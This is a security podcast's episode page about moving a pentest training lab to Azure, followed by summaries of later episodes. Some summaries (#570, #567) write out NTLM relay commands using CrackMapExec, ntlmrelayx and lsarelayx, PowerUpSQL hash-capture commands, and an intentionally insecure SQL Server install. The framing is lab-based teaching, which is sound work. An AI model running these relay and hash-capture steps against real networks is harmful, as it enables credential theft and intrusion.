7MS #502: Building a Pentest Lab in Azure

7MS #502: Building a Pentest Lab in Azure

Happy new year friends! Today I share the good, bad, ugly, and BROKEN things I've come across while migrating our Light Pentest LITE training lab from on-prem VMware ESXi to Azure. It has been a fun and frustrating process, but my hope is that some of the tips in today's episode will save you some time/headaches/money should you setup a pentesting training camp in the cloud.

Things I like

  • No longer relying on a single point of failure (Intel NUC, switch, ISP, etc.)

  • You can schedule VMs to auto-shutdown at a certain time each day, and even have Azure send you a notification before the shutdown so you can delay - or suspend altogether - the operation

Things I don't like

  • VMs are by default (I believe) joined to Azure AD, which I don't want. Here's how I got machines unjoined from Azure AD and then joined to my pwn.town domain:
dsregcmd /leave Add-Computer -DomainName pwn.town -Restart
  • Accidentally provision a VM in the wrong subnet? The fix may be rebuilding the flippin' VM (more info in today's episode).

  • Just about every operation takes for freakin' ever. And it's confusing because if you delete objects out of the portal, sometimes they don't actually disappear from the GUI for like 5-30 minutes.

  • Using backups and snapshots is archaic. You can take a snapshot in the GUI or PowerShell easy-peasy, but if you actually want to restore those snapshots you have to convert them to managed disks, then detach a VM's existing disk, and attach the freshly converted managed disks. This is a nightmare to do with PowerShell.

  • Deleting data is a headache. I understand Azure is probably trying to protect you against deleting stuff and not being able to get it back, but they night a right-click > "I know what I'm doing, DELETE THIS NOW" option. Otherwise you can end up in situations where in order to delete data, you have to disable soft delete, undelete deleted data, then re-delete it to actually make it go away. WTH, you say? This doc will help it make more sense (or not).

Things that are broken

  • Promiscuous mode - just plain does not work as far as I can tell. So I can't do protocol poisoning exercises with something like Inveigh.

  • Hashcat - I got CPU-based cracking working in ESXi by installing OpenCL drivers, but try as I may, I cannot get this working in Azure. I even submitted an issue to the hashcat forums but so far no replies.

On a personal note, it has been good knowing you because I'm about to spend all my money on a new hobby: indoor skydiving.

Avsnitt(683)

7MS #571: Simple Ways to Test Your SIEM - Part 2

7MS #571: Simple Ways to Test Your SIEM - Part 2

Hey friends! This week I spoke at the Secure360 conference in Minnesota on Simple Ways to Test Your SIEM. This is something I covered a while back on the podcast, but punched up the content a bit and built a refreshed a two-part GitHub gist that covers: Questions you can ask a prospective SIEM/SOC solution to figure out which one is the right fit for you All the tools/tips/scripts/etc. you need to run through 7 (and more!) simple ways to test your SIEM!

12 Maj 202331min

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this: victim1 victim2 victim3 Then we tweaked the ntlmrelayx command slightly: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt Interestingly(?) only victim2 was attacked. Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server. TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

5 Maj 202332min

7MS #569: Interview with Jim Simpson of Blumira

7MS #569: Interview with Jim Simpson of Blumira

Today we're excited to share a featured interview with our new friend Jim Simpson, CEO of Blumira. Jim was in security before it was hip/cool/lucrative, working with a number of startups as well as some big names like Duo. Blumira and 7 Minute Security have a shared love for helping SMBs be more secure, so it was great to chat with Jim about the IT/security challenges faced by SMBs, and what we can do make security more simple and accessible for them.

28 Apr 202355min

7MS #568: Lets Play With the 2023 Local Administrator Password Solution!

7MS #568: Lets Play With the 2023 Local Administrator Password Solution!

Hey friends, today we're playing with the new (April 2023) version of Local Administrator Password Solution (LAPS). Now it's baked right into PowerShell and the AD Users and Tools console. It's awesome, it's a necessary blue team control for any size company, and you should basically stop reading this and install LAPS now.

21 Apr 202319min

7MS #567: How to Build an Intentionally Vulnerable SQL Server

7MS #567: How to Build an Intentionally Vulnerable SQL Server

Hey friends, today we're talking about building an intentionally vulnerable SQL server, and here are the key URLs/commands talked about in the episode: Download SQL Server here Install SQL via config .ini file Or, install SQL via pure command line Deploy SQL with a service account while also starting TCP/IP and named pipes automagically: setup.exe /Q /IACCEPTSQLSERVERLICENSETERMS /ACTION="install" /FEATURES=SQL /INSTANCENAME=MSSQLSERVER /TCPENABLED=1 /NPENABLED=1 /SQLSVCACCOUNT="YOURDOMAIN\YOUR-SERVICE-ACCOUNT" /SQLSVCPASSWORD="YOUR PASSWORD" /SQLSYSADMINACCOUNTS="YOURDOMAIN\administrator" "YOURDOMAIN\domain users" Run PowerUpSQL to find vulnerable SQL servers: $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} Audit the discovered SQL servers: Get-SQLInstanceDomain -verbose | invoke-sqlaudit -verbose Fire off stored procedures to catch hashes! Invoke-SQLUncPathInjection -verbose -captureIP IP.OF-YOUR.KALI.BOX

14 Apr 202339min

7MS #566: Tales of Pentest Pwnage - Part 47

7MS #566: Tales of Pentest Pwnage - Part 47

Ok, I know we say this every time, but it is true this time yet again: this is our favorite tale of pentest pwnage. It involves a path to DA we've never tried before, and introduced us to a new trick that one of our favorite old tools can do!

31 Mars 202354min

7MS #565: How to Simulate Ransomware with a Monkey

7MS #565: How to Simulate Ransomware with a Monkey

Hey friends, today we talk through how to simulate ransomware (in a test environment!) using Infection Monkey. It's a cool way to show your team and execs just how quick and deadly an infection can be to your business. You can feed the monkey a list of usernames and passwords/hashes to use for lateral movement, test network segmentation, set a UNC path of files to actually encrypt (careful - run in a test lab - NOT in prod!) and more!

24 Mars 202327min

7MS #564: First Impressions of OVHcloud Hosted vCenter

7MS #564: First Impressions of OVHcloud Hosted vCenter

Today we offer you some first impressions of OVHcloud and how we're seriously considering moving our Light Pentest LITE training class to it! TLDR: It runs on vCenter, my first and only virtualization love! Unlimited VM "powered on" time and unlimited bandwidth Intergration with PowerShell so you can run a single script to "heal" your environment to a gold image Easy integration with pfSense to be able to manage the firewall and internal/external IPs Price comparable to what we're paying now in Azure land

17 Mars 202343min

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